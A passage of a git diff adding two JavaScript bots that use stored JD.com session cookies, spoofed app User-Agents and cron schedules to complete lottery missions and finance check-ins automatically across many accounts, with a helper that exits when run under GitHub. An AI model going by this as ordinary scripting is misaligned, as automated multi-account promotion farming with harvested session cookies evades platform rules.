t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_xgyl.js b/activity/jd_xgyl.js new file mode 100644 index 0000000..3a40e20 --- /dev/null +++ b/activity/jd_xgyl.js @@ -0,0 +1,343 @@ +/* +小鸽有礼2 +每天抽奖25豆 +活动入口:https://jingcai-h5.jd.com/#/dialTemplate?activityCode=1354648125121241088 +活动时间:2021年1月28日~2021年2月28日 +更新地址:jd_xgyl.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼2 +30 7 * * * jd_xgyl.js, tag=小鸽有礼2, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_xgyl.png, enabled=true + +================Loon============== +[Script] +cron "30 7 * * *" script-path=jd_xgyl.js, tag=小鸽有礼2 + +===============Surge================= +小鸽有礼2 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=jd_xgyl.js + +============小火箭========= +小鸽有礼2 = type=cron,script-path=jd_xgyl.js, cronexpr="30 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('小鸽有礼2'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await xgyl(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.beans}京豆` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +async function xgyl() { + $.draw = 0 + $.beans = 0 + for (let i = 0; i < 20; ++i) { + await getMissionList() + await $.wait(1000) + } + await getActInfo() + while ($.draw--) { + await draw() + await $.wait(1000) + } +} + +function getActInfo() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/queryActivityBaseInfo'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + $.rewardList = data.content.rewardInfoDTOs + console.log(`剩余抽奖次数:${data.content.drawNum}`) + $.draw = data.content.drawNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getMissionList() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/queryMissionList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + for (let vo of data.content.missionList) { + if (vo.completeNum < vo.totalNum) { + console.log(`去做【${vo.desc}】任务`) + await doMission({missionNo: vo.missionNo, params: vo.params}) + await $.wait(1000) + } + if (vo.status === 11) { + await getDrawChance({"getCode": vo.getRewardNos[0]}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getDrawChance(body) { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/getDrawChance', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`获得一次抽奖机会`) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doMission(body) { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/completeMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`抽奖获得:【${data.content.rewardDTO.title}】`) + if (data.content.rewardDTO.rewardType === 102) { + $.beans += data.content.rewardDTO.jdBeanDTO.sendNum + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body) { + return { + url: `https://lop-proxy.jd.com/${function_id}`, + body: JSON.stringify([{"userNo": "$cooMrdGatewayUid$", "activityCode": "1354648125121241088", ...body}]), + headers: { + 'Host': 'lop-proxy.jd.com', + 'lop-dn': 'jingcai.jd.com', + 'biz-type': 'service-monitor', + 'app-key': 'jexpress', + 'access': 'H5', + 'content-type': 'application/json;charset=utf-8', + 'clientinfo': '{"appName":"jingcai","client":"m"}', + 'accept': 'application/json, text/plain, */*', + 'jexpress-report-time': new Date().getTime().toString(), + 'x-requested-with': 'XMLHttpRequest', + 'source-client': '2', + 'appparams': '{"appid":158,"ticket_type":"m"}', + 'version': '1.0.0', + 'origin': 'https://jingcai-h5.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://jingcai-h5.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jr_sign.js b/activity/jr_sign.js new file mode 100644 index 0000000..8b92eb7 --- /dev/null +++ b/activity/jr_sign.js @@ -0,0 +1,197 @@ +/* +金融打卡领年终奖 +活动时间:2020-12-8 到 2020-12-31 +更新地址:jr_sign.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#金融打卡领年终奖 +10 6 * * * jr_sign.js, tag=金融打卡领年终奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 6 * * *" script-path=jr_sign.js, tag=金融打卡领年终奖 + +===============Surge================= +金融打卡领年终奖 = type=cron,cronexp="10 6 * * *",wake-system=1,timeout=3600,script-path=jr_sign.js + +============小火箭========= +金融打卡领年终奖 = type=cron,script-path=jr_sign.js, cronexpr="10 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('金融打卡领年终奖'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await sign() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + } + resolve() + }) +} + + +function sign() { + return new Promise(resolve => { + $.post(taskUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.resultData.message) + message += `${data.resultData.message}` + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl() { + return { + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/signIn12?_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + body : 'reqData=%7B%22channelLv%22%3A%22changjinglouceng%22%2C%22site%22%3A%22JD_JR_APP%22%7D', + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "ms.jr.jd.com", + "Referer": "https://member.jr.jd.com/activities/signin-annual/index.html?channelLv=changjinglouceng&jrcontainer=h5&jrlogin=true", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 